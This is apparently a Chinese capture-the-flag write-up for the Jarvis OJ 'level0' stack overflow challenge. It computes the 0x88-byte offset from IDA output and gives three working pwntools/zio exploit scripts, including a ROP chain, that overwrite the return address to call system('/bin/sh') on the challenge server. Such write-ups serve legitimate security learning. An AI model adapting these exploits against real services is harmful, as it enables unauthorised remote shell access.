IDA打开分析。 在Export找到这两个关键函数。 先双击进入main 关键函数在vulnerable_function(),继续跟进。 可以看出read函数是把标准输入的200位的写入buf中。 再看buf: 低位: 高位: 所以buf的首地址到返回地址共=(+0x0000000000000008) - (-0x0000000000000080)=0x88。 200>88,促发栈溢出漏洞。 关于栈溢出漏洞的详情可以看这个: https://www.cnblogs.com/dwlsxj/p/StackOverflow.html
然后我们在Export打开callsystem F5知道这个函数就是执行system(“/bin/sh”)。 所以前面栈溢出的位置可以直接跳到这个函数。 也就是0x400596,小端序为 : \x96\x05\x40\x00 所以,可以构造payload=0x88*’a’+”\x96\x05\x40\x00” 所以,代码为:
from pwn import* r=remote('pwn2.jarvisoj.com','9881') pad='a'*0x88 add=p64(0x400596)#等价于"\x96\x05\x40\x00" payload=pad+add r.send(payload) r.interactive()或者用zio:
from zio import * sh = zio(('pwn2.jarvisoj.com', 9881))#这里注意括号 padding = "A"*0x88 addr = l64(0x400596) shellcode = padding + addr sh.write(shellcode) sh.interact()如果不知道callsystem也行。 看了下大佬的:
from pwn import * level0 = ELF('./level0') systemplt = level0.plt['system'] print hex(systemplt) system = 0x400460 #0x0000000000400663 pop edi ret sh = remote('pwn2.jarvisoj.com', 9881) padding = "A"*0x88 addr = p64(0x400663) argv = p64(0x400684)# /bin/sh shellcode = padding + addr + argv +p64(system) sh.send(shellcode) sh.interactive()